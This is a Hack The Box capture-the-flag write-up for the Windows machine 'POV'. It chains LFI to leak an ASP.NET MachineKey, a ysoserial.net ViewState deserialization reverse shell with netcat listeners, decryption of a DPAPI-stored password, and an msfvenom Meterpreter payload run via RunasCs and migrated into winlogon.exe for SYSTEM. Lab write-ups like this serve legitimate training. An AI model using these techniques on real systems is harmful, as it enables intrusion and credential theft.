Hack The Box - POV

Difficulty: Medium OS: Windows

Target Information

Initial Enumeration

An initial Nmap scan revealed only a single HTTP service.

nmap -sC -sV -A 10.129.230.183

Results:

• TCP/80 - Microsoft IIS 10.0
• Hostname: pov.htb
• TRACE method enabled

Since only HTTP was exposed, the attack surface was entirely web-based.

Web Enumeration

Configure Hosts File

10.129.230.183    pov.htb

Subdomain Enumeration

Fuzzing for virtual hosts revealed:

dev.pov.htb

Browsing to the site redirected to:

http://dev.pov.htb/portfolio/

Finding a Local File Inclusion

While exploring the portfolio page, a Download CV button was discovered.

Capturing the request in Burp showed:

POST /portfolio/default.aspx

file=cv.pdf

The interesting parameter was:

file=

Testing for Local File Inclusion by replacing the filename:

\web.config

returned the application's configuration file.

Sensitive Information Disclosure

The exposed web.config contained:

• ASP.NET MachineKey
• Validation key
• Decryption key

Example:

<machineKey
decryption="AES"
validation="SHA1"
decryptionKey="..."
validationKey="..." />

These keys are extremely sensitive because ASP.NET uses them to sign and encrypt ViewState data.

Initial Foothold

ViewState Deserialization

With the MachineKey exposed, the application became vulnerable to a signed ViewState deserialization attack.

Using ysoserial.net, a malicious ViewState payload was generated using the leaked keys.

Repository:

https://github.com/pwntester/ysoserial.net

Generate a payload that executes a PowerShell reverse shell.

Start a listener:

nc -lvnp 4444

Replace the existing __VIEWSTATE parameter in the intercepted request with the generated payload and resend it.

A reverse shell was obtained as:

POV\sfitz

User Enumeration

After obtaining a shell:

• No user flag existed in sfitz's profile.
• Another user account was present under C:\Users.
• Searching the filesystem uncovered:

C:\Users\sfitz\Documents\connection.xml

Recovering Credentials

The XML file contained a serialized PowerShell credential object.

Example:

<System.Management.Automation.PSCredential>

The password field contained a DPAPI-encrypted SecureString.

Because the encryption was performed by the same user account currently compromised, Windows could decrypt it automatically.

PowerShell:

$encrypted="<encrypted string>"

$secure = ConvertTo-SecureString $encrypted

$cred = New-Object System.Management.Automation.PSCredential("user",$secure)

$cred.GetNetworkCredential().Password

Recovered credentials:

Username: alaading
Password: f8gQ8fynP44ek1m3

Lateral Movement

Create a credential object:

$username = "alaading"

$password = "f8gQ8fynP44ek1m3"

$secure = ConvertTo-SecureString $password -AsPlainText -Force

$credential = New-Object PSCredential($username,$secure)

Execute a reverse shell locally using the recovered credentials:

Invoke-Command -ComputerName localhost -Credential $credential -ScriptBlock {
    powershell -EncodedCommand <base64 payload>
}

Catch the shell:

nc -lvnp 4445

Now operating as:

POV\alaading

Retrieve the user flag.

Privilege Escalation

Enumerate Privileges

Running:

whoami /priv

revealed:

SeDebugPrivilege    Disabled

Although disabled, this privilege can be enabled when creating a new process.

Preparing Meterpreter

Generate a Meterpreter payload:

msfvenom \
-p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.14.25 \
LPORT=1337 \
-f exe \
-o rev.exe

Download to the victim.

Also transfer:

RunasCs.exe

Repository:

https://github.com/antonioCoco/RunasCs

Launch Payload

Start a Metasploit handler:

exploit/multi/handler

Execute the payload using the recovered credentials:

RunasCs.exe alaading f8gQ8fynP44ek1m3 "C:\Users\alaading\Desktop\rev.exe"

A Meterpreter session is returned.

Process Migration

List processes:

meterpreter > ps

Locate a SYSTEM-owned process.

A suitable target:

winlogon.exe

Migrate:

meterpreter > migrate <PID>

After successful migration:

meterpreter > shell

Verify:

whoami

Output:

NT AUTHORITY\SYSTEM

Retrieve the root flag.

Attack Path Summary

HTTP
    │
    ▼
Subdomain Enumeration
    │
    ▼
dev.pov.htb
    │
    ▼
Download Function
    │
    ▼
LFI via file=
    │
    ▼
Read web.config
    │
    ▼
Recover ASP.NET MachineKey
    │
    ▼
Forge ViewState
    │
    ▼
Deserialization RCE
    │
    ▼
Shell as sfitz
    │
    ▼
connection.xml
    │
    ▼
Decrypt SecureString
    │
    ▼
Credentials for alaading
    │
    ▼
Invoke-Command
    │
    ▼
Shell as alaading
    │
    ▼
RunasCs
    │
    ▼
Enable SeDebugPrivilege
    │
    ▼
Meterpreter
    │
    ▼
Migrate into winlogon.exe
    │
    ▼
NT AUTHORITY\SYSTEM

Key Takeaways

• Always inspect download functionality for Local File Inclusion.
• Exposed web.config files frequently leak ASP.NET MachineKeys.
• MachineKeys can enable ViewState deserialization when ViewState MAC validation is enabled.
• PowerShell SecureStrings protected with DPAPI can be decrypted when executed under the same user context that created them.
• Invoke-Command with recovered credentials is an easy method of lateral movement on the local host.
• SeDebugPrivilege, even when initially disabled, can often be enabled by creating a new process with appropriate tools such as RunasCs, allowing migration into SYSTEM-owned processes.